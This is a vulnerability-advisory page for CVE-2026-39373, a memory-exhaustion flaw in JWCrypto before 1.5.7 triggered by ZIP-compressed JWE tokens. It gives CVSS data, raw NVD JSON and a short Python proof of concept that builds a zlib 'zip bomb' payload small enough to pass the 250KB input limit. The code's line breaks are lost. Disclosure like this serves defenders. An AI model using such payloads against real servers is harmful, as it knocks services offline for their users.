Security Vulnerability Report
中文
CVE-2026-39373 CVSS 5.3 MEDIUM

CVE-2026-39373

Published: 2026-04-07 20:16:32
Last Modified: 2026-04-15 17:17:58

Description

JWCrypto implements JWK, JWS, and JWE specifications using python-cryptography. Prior to 1.5.7, an unauthenticated attacker can exhaust server memory by sending crafted JWE tokens with ZIP compression. The existing patch for CVE-2024-28102 limits input token size to 250KB but does not validate the decompressed output size. An unauthenticated attacker can cause memory exhaustion on memory-constrained systems. A token under the 250KB input limit can decompress to approximately 100MB. This vulnerability is fixed in 1.5.7.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:latchset:jwcrypto:*:*:*:*:*:*:*:* - VULNERABLE
JWCrypto < 1.5.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import zlib import json # Proof of Concept for CVE-2026-39373 # Description: Generates a compressed payload that expands significantly upon decompression. # This demonstrates the "Zip Bomb" technique used to exhaust memory. def create_malicious_payload(): # Create a large string (e.g., 100MB of 'A's) # This represents the decompressed size that causes memory exhaustion target_size_mb = 100 large_data = b'A' * (target_size_mb * 1024 * 1024) # Compress the data. zlib is used as a proxy for the ZIP compression mentioned. # The compression ratio for repetitive data is very high. compressed_data = zlib.compress(large_data) print(f"Original size: {len(large_data)} bytes (~{target_size_mb}MB)") print(f"Compressed size: {len(compressed_data)} bytes") # Check if it bypasses the 250KB input limit mentioned in the CVE if len(compressed_data) < 250 * 1024: print("Status: Payload bypasses input size limit (< 250KB). Vulnerability confirmed.") # In a real attack scenario, this compressed_data would be base64 encoded # and placed inside a JWE token structure. return compressed_data else: print("Status: Payload too large to bypass current input limits.") return None if __name__ == "__main__": create_malicious_payload()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-39373", "sourceIdentifier": "[email protected]", "published": "2026-04-07T20:16:32.133", "lastModified": "2026-04-15T17:17:58.477", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "JWCrypto implements JWK, JWS, and JWE specifications using python-cryptography. Prior to 1.5.7, an unauthenticated attacker can exhaust server memory by sending crafted JWE tokens with ZIP compression. The existing patch for CVE-2024-28102 limits input token size to 250KB but does not validate the decompressed output size. An unauthenticated attacker can cause memory exhaustion on memory-constrained systems. A token under the 250KB input limit can decompress to approximately 100MB. This vulnerability is fixed in 1.5.7."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-409"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:latchset:jwcrypto:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.5.7", "matchCriteriaId": "95859984-CAD0-47DF-AA9E-C0685F460729"}]}]}], "references": [{"url": "https://github.com/latchset/jwcrypto/security/advisories/GHSA-fjrm-76x2-c4q4", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}